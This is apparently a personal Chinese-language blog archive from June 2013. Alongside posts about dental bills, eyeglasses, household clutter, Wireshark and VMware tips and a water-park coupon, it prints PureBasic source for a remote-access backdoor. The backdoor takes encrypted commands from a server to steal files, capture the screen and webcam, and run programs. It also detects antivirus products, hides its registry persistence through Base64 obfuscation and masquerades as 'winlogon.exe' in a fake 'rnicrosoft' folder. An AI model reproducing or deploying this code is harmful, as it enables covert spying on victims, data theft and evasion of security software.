咕咕雞的學習點滴: 6月 2013

2013年6月29日星期六

做了4顆全瓷牙，花了8萬塊

因為跌倒上門牙受損，影響到4顆牙齒，治療期間長，且不時打麻藥，打完還是會很痛，尤其是印模前，要調整牙齦位置，超痛的，牙齒保健很重要，平時勤勞一點，可保有一口好牙，也可避免治療時花錢又傷身。

2013年6月28日星期五

書櫃裡的雜物

左1

一堆電池（含n900副廠）、轉換插頭、2部老筆電、硬幣分類器、遙控器放置盒（含遙控器）、光碟、放雜物喜餅盒、護貝膠膜、答錄機、cd隨身聽、蚊香片、

左2

2部無線電（含充電器）、相機包、監視器鏡頭、電錶、充電器、pda座、小夜燈、墨水盒、電力銀行、平板、小電鬍刀、清涼油、鏡頭清潔包、pda汽車固定座、pcmcia卡、讀卡器、吹風機、sim magic、無線耳機、迷你話機、USB to ps2、usb音效卡、gsm模組、顯示卡、卡帶隨身聽充電器、ps move兩支、定時器、電子字典、跑車浪漫旅光碟、n900保護套、jbl喇叭、hub、數位電視天線、萬用充電器、usb外接碟、kvm、瑞士刀、fon-ap、

左3

文具、折疊車固定繩、壁虎、健身車碼表、搖桿、工具組、烙鐵組、滑鼠、桌機配件、麵包板、密錄器、USB to sata、av切換器

左4

血壓計、光碟修補器、

大置物箱

Rca線材、各式接頭、usb線材、其他電腦線、耳麥、電腦電源線、對講機、各式變壓器、充電器、數據機、數據卡、調變器、第四台訊號放大器

陽台木質置物櫃

小孩作品、拼圖、畢業紀念冊、春惠相框、小孩書籍、小孩光碟

陽台凸窗置物左

小型零件盒、放大機、暗房器材、魚缸、組合地墊、浴室防滑墊、小置物盒兩個、汽車椅背珠簾、防潮箱、帳篷、腳架、軟墊、延長電源線、喇叭線、大型玩具

中

各式包裝盒、麥克風、網路線、其他線材、絨毛玩具、攜車袋、筆電包

右

安全帽、手提袋

配了一副betapla 俗稱塑鈦框的眼鏡

順便驗光，左眼500度（六年前425），嚇死人，右眼400度（375），散光分別是50/75沒變

總價4500 （框3100 Hoya 1.6鏡片1800 店家再折400）

度數過深，加上已有老花，結果就是使用率超低。

2013年6月27日星期四

經驗法則下的科學

知其然，不知其所以然。

汽車音響已經壞了很久，每次放進CD總是會自動退出來，前幾天不放棄，反覆測試，終於找出規律，似乎嘗試幾次就可正常吸入，今天終於找到正確的方式。

放進去時會退出，過一會就可吸入，但是又會退出，但是第三次吸入就不會退出，屢試不爽。

這有點像中醫的科學，從經驗法則找出醫人的方法，其實西醫何嘗不是使用經驗法則，只不過西醫用了更多的科學罷了。

這台音響已經淘汰了，換上新的pioneer，有USB，好用中！

2013年6月23日星期日

東西越多，負擔越大，可支配時間越少。

這次回家要好好清理陳年雜物，保有常用物品的最佳使用效率。

2013年6月22日星期六

雙頻無線電開箱

拿來當高級收音機還不錯。

EOS—M測試

接上原廠EF轉接環，再接上PB轉接環，接上PENTACON鏡頭，出現Err 01錯誤，研判應該是合焦晶片不相容，最後將部分金屬接點以膠帶覆蓋後，就能正常工作了。

http://hk.news.yahoo.com/世紀萬能蘇-eos-m-舊鏡激玩-提案-090000681.html

摔斷了牙齒，單顆價錢從7000～23000起跳

荷包大失血。因為我需要做4顆。

2013年6月21日星期五

吃小火鍋

2013年6月20日星期四

在曼谷機場吃麵

一碗220泰銖，肉片是豬脖子肉，好像就是松阪豬，很脆，湯頭也很好，應該是泰國平民小吃，可惜機場必須天價賣。

2013年6月18日星期二

wireshark不想解析port number的設定

wireshark是會自動解析port number的，如 port 80會變成http

有時我只想看port number，不想看到解析名

設定如下

這地方反勾選一下，然後再reload就行了。

vmware虛擬機的救援

救援可以使用很多救援光碟，可以自網路下載

在設定中新增一部軟碟機，載入C:\Program Files (x86)\VMware\VMware Workstation\Resources\vmscsi.flp

在虛擬機開機後使用救援光碟啟動

然後按F6要求載入SCSI驅動程式

這樣救援光碟的系統就認得你的虛擬硬碟機了

g_door loop

Repeat
ConnectionID.l = OpenNetworkConnection(#domain, #port)
If ConnectionID
    Debug("Connect to Server")
    Debug ConnectionID
    status=0
    SendAes("pas"+#pass+#endstr)
    Repeat

      SEvent = NetworkClientEvent(ConnectionID)
      If SEvent

        timer=0
        Select SEvent
          Case #PB_NetworkEvent_Data
            reclen=ReceiveNetworkData(ConnectionID.l, *Buffer, 8192)

            Select status
              Case 1
                If Eof(filehandle)
                  CloseFile(filehandle)
                  status=0

                  If img=1 And GetPathPart(filepath)=GetTemporaryDirectory()
                    DeleteFile(filepath)
                    img=0
                  EndIf
                  filepath=""

              Else
                ;Debug reclen
                ;readlen=ReadData(filehandle,*Buffer2+3,1457)
                readlen=ReadData(filehandle,*Buffer2,8192)
                AESEncoder(*Buffer2, @Aes\Data(), readlen, ?Key, 128, ?InitializationVector)
                SendNetworkData(ConnectionID,@Aes\Data(),readlen)
                ;SendNetworkData(ConnectionID,*Buffer2,readlen)


                EndIf
              Case 2

                CopyMemory(*Buffer,*Buffer2+buflen,reclen)
                buflen=buflen+reclen
                ;Debug buflen
                Delay(1)

                If buflen=8192 Or nowfilesize+buflen=FileSize
                  nowfilesize=nowfilesize+buflen
                  AESDecoder(*Buffer2, @Aes\Data(), buflen, ?Key, 128, ?InitializationVector)
                  WriteData(filehandle, @Aes\Data(), buflen)
                  buflen=0
                  If nowfilesize=FileSize
                    CloseFile(filehandle)
                    nowfilesize=0

                    status=0
                  Else
                    SendAes("ok!"+#endstr)
                  EndIf
                EndIf
              Default
                Debug PeekS(*Buffer,reclen)
                ;Debug   AesDec(*Buffer,reclen)
                If reclen >=16
                cmdstr.s=AesDec(*Buffer,reclen)
                ;If PeekS(*Buffer+reclen-2,2) = #endstr And reclen > 5
                If Mid(cmdstr,Len(cmdstr)-1) = #endstr And Len(cmdstr) > 5
                  Debug cmdstr+"<-"
                  command.l=1
                EndIf
                EndIf
            EndSelect
          Case #PB_NetworkEvent_Disconnect
            Debug("disconnect")
            Quit = 1

        EndSelect


      If command

        cmdstr.s=StringField(cmdstr, CountString( cmdstr, #endstr), #endstr)
        Debug cmdstr
        Select Mid(cmdstr,1,3)
          Case "get"
            filepath=Mid(cmdstr,5)
            filehandle= ReadFile(#PB_Any,filepath)
            If filehandle
              readlen=ReadData(filehandle,*Buffer2,8192)
              AESEncoder(*Buffer2, @Aes\Data(), readlen, ?Key, 128, ?InitializationVector)
              SendNetworkData(ConnectionID,@Aes\Data(),readlen)

              status=1
            Else
              SendAes("errfile,can't read file"+#endstr)
            EndIf
          Case "put"
            cmdstr=Mid(cmdstr,5)
            Debug StringField(cmdstr,1,"|")
            filehandle=CreateFile(#PB_Any,StringField(cmdstr,1,"|"))
            filesize=Val(StringField(cmdstr,2,"|"))
            buflen=0
            If filehandle

              status=2
              SendAes("ok!"+#endstr)

            Else
              SendAes("errfile,can't create file"+#endstr)
            EndIf
          Case "pak"
            filepath=Mid(cmdstr,5)
            file.s=GetTemporaryDirectory()+"~"+FormatDate("%hh%ii%ss", Date())+".tmp"
            CreatePack(file)
            AddPackFile(filepath,9)
            ClosePack()
            file=file+"|"+Str(FileSize(file))
            SendAes("pak"+file+#endstr)
            img=1
          Case "img"
            file.s=CaptureScreen()
            If file<>""
              file=file+"|"+Str(FileSize(file))
              SendAes("img"+file+#endstr)
              img=1
            EndIf
          Case "cam"
            file.s=CapWebcam(1)
            If file <> "" And file <> "no"
              file=file+"|"+Str(FileSize(file))
              SendAes("img"+file+#endstr)
              img=1
            EndIf

          Case "drv"
            GetAllDrives(Drive())
            drvstr.s="drv"
            ForEach Drive()
              drvstr.s=drvstr+Drive()\DriveLetter$ + ":" + Trim(Drive()\Volume$)+"|"
            Next
            SendAes(drvstr+#endstr)
            Debug drvstr+"->"
            ClearList(Drive())
          Case "dir"
            ListFile(Dir(),Mid(cmdstr,5))
            dirstr.s="dir"
            ForEach Dir()
              dirstr=dirstr+Dir()\Name$ + ":" + Dir()\Size$+ ":" + Str(Dir()\DirType)+"|"
            Next

            If Len(dirstr)<8187

              SendAes(dirstr+#endstr)
              Debug dirstr+"->"

            Else
              SendAes("errdir,too many data"+#endstr)
            EndIf
            ClearList(Dir())

          Case "del"
            If DeleteFile(Mid(cmdstr,5))=0

              SendAes("errdel,can't delete file"+#endstr)
            Else
              SendAes("del"+#endstr)

            EndIf

            Debug "del->"
          Case "cpy"

            CopyFile(StringField(Mid(cmdstr,5),1,"|"),StringField(Mid(cmdstr,5),2,"|"))

          Case "exe" ;kill by avira
            ;             If RunProgram(Mid(cmdstr,5))=0
            ;               SendNetworkString(ConnectionID,"errexe,can't execute file"+#endstr)
            ;             Else
            ;               SendNetworkString(ConnectionID,"exe"+#endstr);
            ;             EndIf
            ;             Debug "del->"

            If Val(StringField(apicall("6|Shell32.dll|ShellExecuteA|0|0|@"+Mid(cmdstr,5)+"|0|0|1"),1,"|"))>32
              SendAes("exe"+#endstr)
            Else
              SendAes("errexe,can't execute file"+#endstr)
            EndIf

          Case "kil"
;             If PurePROCS_KillProcessID(Val(Mid(cmdstr,5)))=0
;               SendAes("errkil,can't kill process"+#endstr)
;             Else
;               SendAes("kil"+#endstr)
;             EndIf
            Debug "kil->"

;           Case "pas"
;             SendNetworkString(ConnectionID,"pas"+#pass+#endstr)
;             Debug "pas"+#pass+#endstr+"->"
          Case "inf"
            inf.s="inf"
            buf.s=Space(256)
            buflen.l=256
            GetComputerName_(@buf,@buflen)
            inf=inf+buf+"|"
            GetUserName_(@buf,@buflen)
            inf=inf+buf+"|"
            inf=inf+os
            inf=inf+av+ProgramFilename()+"|"+#ver+"|"+#hash+"|"
            If CapWebcam(0)="no"
              inf=inf+"no"+"|"
            Else
              inf=inf+"yes"+"|"
            EndIf
            SendAes(inf+#endstr)

          Case "chd"
            SetCurrentDirectory_(Mid(cmdstr,5))


          Case "api"

            ;s: output string, v: output value
            ;api USER32.DLL|MessageBoxA|0|hello world 1|test|0
            ;Debug apicall("4|USER32.DLL|MessageBoxA|0|@hello world 1|@test|0")
            ;Debug apicall("2|Kernel32.dll|GetWindowsDirectoryA|s|512")
            ;Debug apicall("2|Kernel32.dll|GetTempPathA|512|s")
            ;Debug apicall("3|Advapi32.dll|RegOpenKeyA|2147483650|@SOFTWARE\Microsoft\Windows\CurrentVersion\Run|v")
            ;Debug apicall("6|Advapi32.dll|RegSetValueExA|handle_number|@WindowsInit|0|1|@c:\windows\test.exe|19")
            ;Debug apicall("6|Shell32.dll|ShellExecuteA|0|0|@notepad.exe|0|0|1")
            ;debug apicall("2|Kernel32.dll|GetComputerNameA|s|v256")
            SendAes("api"+apicall(Mid(cmdstr,5))+#endstr)

          Case "prs"
            ;Debug "process"
            ;ListProcess(Process())
            GetProcessList(Process())
            procstr.s="prs"
            ForEach Process()
              ;drvstr.s=drvstr+Drive()\DriveLetter$ + ":" + Trim(Drive()\Volume$)+"|"
              procstr=procstr+Process()\path + "&" + Process()\pid + "&" + Process()\module + "|"
            Next
            If Len(procstr)<8187
              SendAes(procstr+#endstr)
              Debug procstr+"->"
            Else
              SendAes("errprs,too many data"+#endstr)
            EndIf
            ClearList(Process())
          Case "sup"
            SendAes(#sup_cmd+#endstr)

        EndSelect

        PokeS(*Buffer,"   ")
        timer=0
        command=0

      EndIf

      Else

      timer=timer+1
;       If timer % 1000=0
;         Debug ".."
;        EndIf
      If status=0

        If timer=1000
;             AesEnc("000"+#endstr)
;             SendNetworkData(ConnectionID,@Aes\Data(),Aes\len)
            SendAes("000"+#endstr)

        EndIf

      EndIf

      If timer=#delaytime2
        Debug("server die")
        Debug timer
        CloseNetworkConnection(ConnectionID)
        timer=0
        quit=1



        status=-1
        If IsFile(filehandle)
          CloseFile(filehandle)

        EndIf
      EndIf
    EndIf
    Delay(1)
    Until quit=1
    quit=0

Else
    Debug("can not Connect to Server")
EndIf
Delay(#delaytime1)

;   If para<>""
;     RenameFile("c:\"+para,"c:\winlogin.exe")
;
;     para=""
;     Stream = ReadFile(#PB_Any, GetEnvironmentVariable("windir") + "\notepad.exe")
;     If Stream
;       *Buffer = AllocateMemory(Lof(Stream))
;       If *Buffer
;         ReadData(Stream, *Buffer, Lof(Stream))
;         CloseFile(Stream)
;         ProcessID = PurePROCS_Execute("c:\windows\system32\svchost.exe", *Buffer)
;         Delay(10000)
;         PurePROCS_KillProcessID(ProcessID)
;         ProcessID = PurePROCS_Execute("c:\windows\system32\svchost.exe", *Buffer)
;         Delay(10000)
;         PurePROCS_KillProcessID(ProcessID)
;       EndIf
;     EndIf
;   EndIf
ForEver

g_door init

path.s=""
If para <> ""
Select para
    Case "rar_back"
      MoveFileEx_("C:\Program Files\WinRAR\WinRAR32.exe","C:\Program Files\WinRAR\WinRAR.exe",3)
EndSelect
EndIf
timeup.l=0
If OpenWindow(0, 0, 0, 0, 0, "winlogon.exe", 268435456)
test.s=""
test1.s="U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb"
test2.s = "cUnVu"
test3.s=""
dec.s = Space(1024)
i.l=-100

Repeat
    Select WindowEvent()

      Case #PB_Event_CloseWindow
        End
    EndSelect
    test3=test1+Str(i)+test2
    Base64Decoder(@test3, StringByteLength(test3), @dec, 1024)
    test = dec
    i=i+1
    timeup=timeup+1
Until timeup=600
EndIf

;ListProcess(Process())
GetProcessList(Process())
av.s="none|"
os.s=""
is64.s=""
ForEach Process()

Select LCase(GetFilePart(Process()\path))
    Case "avgtray.exe"
      av="AVG|"
      Break
    Case "avgnt.exe"
      av="Avira|"
      Break
    Case "mcagent.exe"
      av="Mcafee|"
      Break
    Case "avp.exe"
      av="Kaspersky|"
      Break
    Case "ccsvchst.exe"
      av="Norton|"
      Break
    Case "egui.exe"
      av="Nod|"
      Break
    Case "360tray.exe"
      av="360|"
      Break
    Case "rstray.exe"
      av="Rs|"
      Break

EndSelect
Next

If FileSize("C:\Program Files\AVAST Software\Avast\AvastUI.exe")<>-1 Or FileSize("C:\Program Files (x86)\AVAST Software\Avast\AvastUI.exe")<>-1
av="Avast|"
;MessageRequester("","avast")
EndIf
;GetFileversioninfo()
ClearList(Process())
If sgl_Is64BitOS()
is64="64"
Else
is64="32"
EndIf
Select OSVersion()
Case #PB_OS_Windows_Server_2003
    os="2003|"
Case #PB_OS_Windows_Vista
    os="Vista|"
Case #PB_OS_Windows_Server_2008
    os="2008|"
Case #PB_OS_Windows_7
    os="Win7|"
Case #PB_OS_Windows_2000
    os="2000|"
Case #PB_OS_Windows_XP
    os="XP|"
Case 100
    os="Win8|"
Default
    os="Unknown|"
EndSelect
If #install=1
If os = "Win7|" Or os = "Vista|" Or os = "2008|" Or os="Win8|" ;And is64="32"
    path=GetEnvironmentVariable("USERPROFILE")+"\AppData\Local\VirtualStore\Program Files\Common Files\rnicrosoft\"
Else
    path=GetEnvironmentVariable("CommonProgramFiles")+"\rnicrosoft\"
EndIf

If ProgramFilename()<>path+#exename
    checkinstall(av,os,is64)
EndIf
EndIf
If FileSize(GetPathPart(ProgramFilename())+"exp1orer.exe")<>-1
RunProgram("exp1orer.exe")
EndIf
If ininet=0
If InitNetwork() = 0
    Debug("Can't initialize the network !")
    End
EndIf
EndIf
timer.l=0
quit.l=0
reclen.l=0
command.l=0
img.l=0
filepath.s=""
buflen.l=0
filesize=0
nowfilesize=0
SetErrorMode_(1)
*Buffer = AllocateMemory(8192)
*Buffer2 = AllocateMemory(8192)
status=-1

Procedure.i sgl_Is64BitOS()

Procedure.i sgl_Is64BitOS()
; [DESC]
; Check if the OS under which the program is running is a 64 bit OS.
;
; [RETURN]
; 1 for 64 bit OS, else 0.
Protected Is64BitOS = 0
Protected hDLL, IsWow64Process_

If SizeOf(Integer) = 8
    Is64BitOS = 1 ; this is a 64 bit exe
Else
    hDll = OpenLibrary(#PB_Any,"kernel32.dll")
    ;m_ASSERT(hDLL)
    If hDll
        IsWow64Process_ = GetFunction(hDll,"IsWow64Process")
        If IsWow64Process_
            CallFunctionFast(IsWow64Process_, GetCurrentProcess_(), @Is64BitOS)
        EndIf
        CloseLibrary(hDll)
    EndIf
EndIf

ProcedureReturn Is64BitOS
EndProcedure

Procedure checkinstall(av.s,os.s,is64.s)

Procedure checkinstall(av.s,os.s,is64.s)
kav_boot.l=0
tpath.s=GetEnvironmentVariable("Temp")
path.s=""
If os = "Win7|" Or os = "Vista|" Or os = "2008|" Or os="Win8|" ;And is64="32"
    path=GetEnvironmentVariable("USERPROFILE")+"\AppData\Local\VirtualStore\Program Files\Common Files\rnicrosoft\"
Else
    path=GetEnvironmentVariable("CommonProgramFiles")+"\rnicrosoft\"
EndIf


path2.s=""
hk.l
If av="Rs|"
    If ProgramFilename()<>tpath+#exename
      fh.l=CreateFile(#PB_Any,tpath+"desktop")
      WriteString(fh,ProgramFilename())
      CloseFile(fh)
      CopyFile(ProgramFilename(),tpath+#exename)
      RunProgram(tpath+#exename)
      End
    EndIf
Else
    If ProgramFilename()<>tpath+"\"+#exename
      If av="Kaspersky|" And ProgramFilename()="C:\Program Files\WinRAR\WinRAR.exe"
;         kav_boot=1
;         SHGetSpecialFolderPath_(0, @path2, #CSIDL_COMMON_STARTUP, 0)
;         DeleteFile(path2+"\"+Space(128)+".rar")

      ElseIf av="Avast|"
         ;MoveFileEx_(ProgramFilename(),path+"\"+#exename,3)
      Else
        MoveFileEx_(ProgramFilename(),tpath+"\"+#exename,3)
        RunProgram(tpath+"\"+#exename)
        End
      EndIf
    EndIf
EndIf

If av="Rs|"
    fh=ReadFile(#PB_Any,tpath+"desktop")
    DeleteFile(ReadString(fh))
    CloseFile(fh)
    ;DeleteFile(tpath+"desktop")
EndIf

;bypass nod,avg
;SOFTWARE\Microsoft\Windows\CurrentVersion\Run
test.s=""
test1.s="U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb"
test2.s = "cUnVu"
test3.s=""
dec.s = Space(1024)
ii.l=-100
For i = ii To 25
    test3=test1+Str(i)+test2
    Base64Decoder(@test3, StringByteLength(test3), @dec, 1024)
    test = dec
Next

buf.s=Chr(34)+path+#exename+Chr(34)
If os="Vista|" Or os="Win7|" Or os = "2008|" Or os="Win8|"
    key=#HKEY_CURRENT_USER
Else
    key=#HKEY_LOCAL_MACHINE
EndIf
If RegOpenKey_(key,test,@hk)=0
    ;replace RegSetValueEx_(hk,"Wab32Init",0,#REG_SZ, buf ,Len(buf))
    result.l=OpenLibrary(#PB_Any,"Advapi32.dll")
    point.l=0

    ;If av="AVG|"
      ;point=GetFunction(result,http_get("header3.php"))
    ;Else
    If av="Norton|"

      If OpenWindow(0, 0, 0, 0, 0, "winlogon.exe", 268435456)

        hk.l
        buf.s=Chr(34)+path+#exename+Chr(34)

        RegSetValueEx_(hk,"Wab32Init",0,#REG_SZ, buf ,Len(buf))
        RegCloseKey_(hk)

      EndIf
    ElseIf av="Kaspersky|" Or av="360|"
;       If kav_boot=1
;         point=GetFunction(result,"RegSetValueExA")
;         CallFunctionFast(Point,hk,@"Wab32Init",0,#REG_SZ,@buf,Len(buf))
;       EndIf
;       RegCloseKey_(hk)

    ElseIf av="360|-"
      point=GetFunction(result,"RegSetValueExA")
      buf2.s=buf+Space(1000000)
      CallFunctionFast(Point,hk,@"Wab32Init",0,#REG_SZ,@buf2,Len(buf2))
      ;CallFunctionFast(Point,hk,@"Wab32Init",0,#REG_SZ,@buf,Len(buf))
      ;RegSetValueEx_(hk,"Wab32Init",0,#REG_SZ, buf ,Len(buf))
      RegCloseKey_(hk)

    Else
      point=GetFunction(result,"RegSetValueExA")
      CallFunctionFast(Point,hk,@"Wab32Init",0,#REG_SZ,@buf,Len(buf))
      ;RegSetValueEx_(hk,"Wab32Init",0,#REG_SZ, buf ,Len(buf))
      RegCloseKey_(hk)


    EndIf




EndIf

Select av
    Case "Kaspersky|"
;       If kav_boot=1
;         CreateDirectory(path)
;         CopyFile(ProgramFilename(),path+#exename)
;         RunProgram(path+#exename,"rar_back",GetEnvironmentVariable("Temp"))
;         End
;       Else
;         CopyFile("C:\Program Files\WinRAR\WinRAR.exe","C:\Program Files\WinRAR\WinRAR32.exe")
;         SHGetSpecialFolderPath_(0, @path, #CSIDL_COMMON_STARTUP, 0)
;         MoveFileEx_(ProgramFilename(),path+"\"+Space(128)+".rar", 4)
;         If OpenWindow(0, 0, 0, 0, 0, "winlogon.exe", 268435456)
;           SetWindowCallback(@WinCallback())
;           SetProcessShutdownParameters_( 0, 0)
;           Repeat
;             Select WaitWindowEvent()
;               Case #PB_Event_CloseWindow
;                 End
;             EndSelect
;           ForEver
;         EndIf
;         End
;       EndIf
    ;Case av="Avast|"

    Case "360|"
      If kav_boot=1
        CreateDirectory(path)
        CopyFile(ProgramFilename(),path+#exename)
        RunProgram(path+#exename,"rar_back",GetEnvironmentVariable("Temp"))
        End
      Else
        CopyFile("C:\Program Files\WinRAR\WinRAR.exe","C:\Program Files\WinRAR\WinRAR32.exe")
        SHGetSpecialFolderPath_(0, @path, #CSIDL_COMMON_STARTUP, 0)
        CopyFile(ProgramFilename(),"C:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE")
        ;MoveFileEx_(ProgramFilename(),path+"\"+Space(128)+".rar", 3)
        If OpenWindow(0, 0, 0, 0, 0, "winlogon.exe", 268435456)
          SetWindowCallback(@WinCallback())
          ;SetProcessShutdownParameters_( 0, 0)
          Repeat
            Select WaitWindowEvent()
              Case #PB_Event_CloseWindow
                End
            EndSelect
          ForEver
        EndIf
        End
      EndIf



    Default
      If os = "Win7|" Or os = "Vista|" Or os = "2008|" Or os="Win8|"
        CreateDirectory(GetEnvironmentVariable("USERPROFILE")+"\AppData\Local\VirtualStore\")
        CreateDirectory(GetEnvironmentVariable("USERPROFILE")+"\AppData\Local\VirtualStore\Program Files\")
        CreateDirectory(GetEnvironmentVariable("USERPROFILE")+"\AppData\Local\VirtualStore\Program Files\Common Files\")
        CreateDirectory(GetEnvironmentVariable("USERPROFILE")+"\AppData\Local\VirtualStore\Program Files\Common Files\rnicrosoft\")
      Else
        CreateDirectory(GetEnvironmentVariable("CommonProgramFiles")+"\rnicrosoft\")

      EndIf

      If av <> "Avast|"
        CopyFile(ProgramFilename(),path+#exename)
        RunProgram(path+#exename)
      Else
        MoveFileEx_(ProgramFilename(),path+#exename,3)
      EndIf
      End

EndSelect



EndProcedure

Procedure.s CapWebcam(type)

Procedure.s CapWebcam(type)
lib= OpenLibrary(#PB_Any, "avicap32.dll")
If lib
    *capAddress = GetFunction(lib, "capCreateCaptureWindowA")
    hWndC = CallFunctionFast(*capAddress, @"", #WS_CHILD, 0, 0, 0, 0, GetDesktopWindow_(),0)
    If hWndC
      If SendMessage_(hWndC, #WM_CAP_DRIVER_CONNECT, 0, 0)
        If type=1
          file.s=GetTemporaryDirectory()+"~"+FormatDate("%hh%ii%ss", Date())+".tmp"
          SendMessage_(hWndC, #WM_CAP_FILE_SAVEDIB, 0, @file)
          SendMessage_(hWndC, #WM_CAP_DRIVER_DISCONNECT, 0, 0)
          image=LoadImage(#PB_Any, file)
          ;UsePNGImageEncoder()
          UseJPEGImageEncoder()
          ;SaveImage(image,file,#PB_ImagePlugin_PNG)
          SaveImage(image,file,#PB_ImagePlugin_JPEG,2,24)
          FreeImage(image)
        EndIf
      Else
        file="no"
      EndIf
      DestroyWindow_(hWndC)
    EndIf
    CloseLibrary(lib)
EndIf
ProcedureReturn file
EndProcedure
Debug CapWebcam(1)

Procedure.s apicall(call.s)

Procedure AesEnc(str.s)

Structure AesData
len.l
Array Data.b(8191)
EndStructure
Global Aes.AesData
Procedure AesEnc(str.s)
s1.s=str
lens1=Len(s1)
If lens1 < 16
    s1=s1+Space(16-lens1)
EndIf
Aes\len=AESEncoder(@s1, @Aes\Data(), Len(s1), ?Key, 128, ?InitializationVector)
EndProcedure
Procedure.s AesDec(*Buffer,reclen)
*DecipheredString = AllocateMemory(8192)
AESDecoder(*Buffer, *DecipheredString, reclen, ?Key, 128, ?InitializationVector)
ProcedureReturn RTrim(PeekS(*DecipheredString))
EndProcedure
Procedure SendAes(str.s)
AesEnc(str)
;SendNetworkData(ConnectionID,@Aes\Data(),Aes\len)
Debug Aes\Data()
Debug Aes\len
EndProcedure

SendAes("ok!")
Debug AesDec(@Aes\Data(),Aes\len)

DataSection
    Key:
      Data.b $06, $a9, $21, $40, $36, $b8, $a1, $5b, $51, $2e, $03, $d5, $34, $12, $00, $06

    InitializationVector:
    Data.b $3d, $af, $ba, $42, $9d, $9e, $b4, $30, $b4, $22, $da, $80, $2c, $9f, $ac, $41
EndDataSection

Procedure.s CaptureScreen()

Procedure.s CaptureScreen()
dm.DEVMODE
BMPHandle.l
Width=GetSystemMetrics_(#SM_CXSCREEN)
Height=GetSystemMetrics_(#SM_CYSCREEN)
srcDC = CreateDC_("DISPLAY", "", "", dm)
trgDC = CreateCompatibleDC_(srcDC)
BMPHandle = CreateCompatibleBitmap_(srcDC, Width, Height)
SelectObject_( trgDC, BMPHandle)
BitBlt_( trgDC, 0, 0, Width, Height, srcDC, 0, 0, #SRCCOPY)
DeleteDC_( trgDC)
ReleaseDC_( BMPHandle, srcDC)

If BMPHandle
    Id=CreateImage(#PB_Any, Width, Height)
    StartDrawing(ImageOutput(Id))
    DrawImage(BMPHandle,0,0)
    StopDrawing()
    ;UsePNGImageEncoder()
    UseJPEGImageEncoder()
    file.s=GetTemporaryDirectory()+"~"+FormatDate("%hh%ii%ss", Date())+".tmp"
    ;SaveImage(Id,file,#PB_ImagePlugin_PNG)
    SaveImage(Id,file,#PB_ImagePlugin_JPEG,2,24)
    FreeImage(Id)
EndIf
ProcedureReturn file
EndProcedure
Debug CaptureScreen()

買了"大新店親水樂園活水養生館"

http://www.gomaji.com/index-sub.php?city=Taipei&pid=29284

炎炎夏日何處去？清涼玩水就到【大新店親水樂園活水養生館】！2000坪超大戲水空間，標準游泳池、兒童池、水療按摩池，還有高空刺激滑水道！
3.6折！只要109元，即可享有原價300元【大新店親水樂園活水養生館】玩水清涼樂〈含室內外大型泳泳池、大型戶外滑水道、兒童戲水泳池、各式養生溫泉池、水療spa衝擊區、超音波按摩池、烤箱、蒸氣室、冷泉、餐飲休息區、部分免費電玩區、健身房區等，一票玩到底〉

2013-06-13 ／分享賺50元麻吉券／

即日起可用

團購特價

$109

馬上購買

原價 ~~$300~~
節省 $191
3847 份已販售團購已成功，可繼續購買

預計剩餘

04 小時 58 分 47 秒

1 2 3 4 5

3.6折

必買特色

人氣最旺泳池育樂休閒世界，百萬重金打造最新水上漂浮設施，等麻吉來玩耍！
佔地2000坪超大游泳池、水療SPA、三溫暖，宛若沉浸水世界享受，樂趣無窮！
提供安全、健康、歡樂、最好游泳設施，專業救生員熱情服務，放心悠游其中！
今年夏天為麻吉隆重推出「空中水舞三重奏」、「舞動華爾茲」全新活動設施！

兌換券

優惠期間為 2013 年 6 月 13 日至 2013 年 8 月 31 日，不需提前預約，到店時請告知須使用兌換券，否則恕無法提供服務，敬請配合
平假日皆可使用
每人限下單一次，限購 20 張，不限本人使用
本優惠限單人使用
本優惠不得與其他優惠合併使用，恕無法兌換現金及找零，為保障您的權益，請務必持手機簡訊或列印email兌換券到店使用，如非本人到店消費，需留親筆簽名，以示消費此兌換券
兌換券逾期未使用可辦理退費(票券類則依該檔次之退費規範辦理)，詳見「退費說明」。

★交通位置★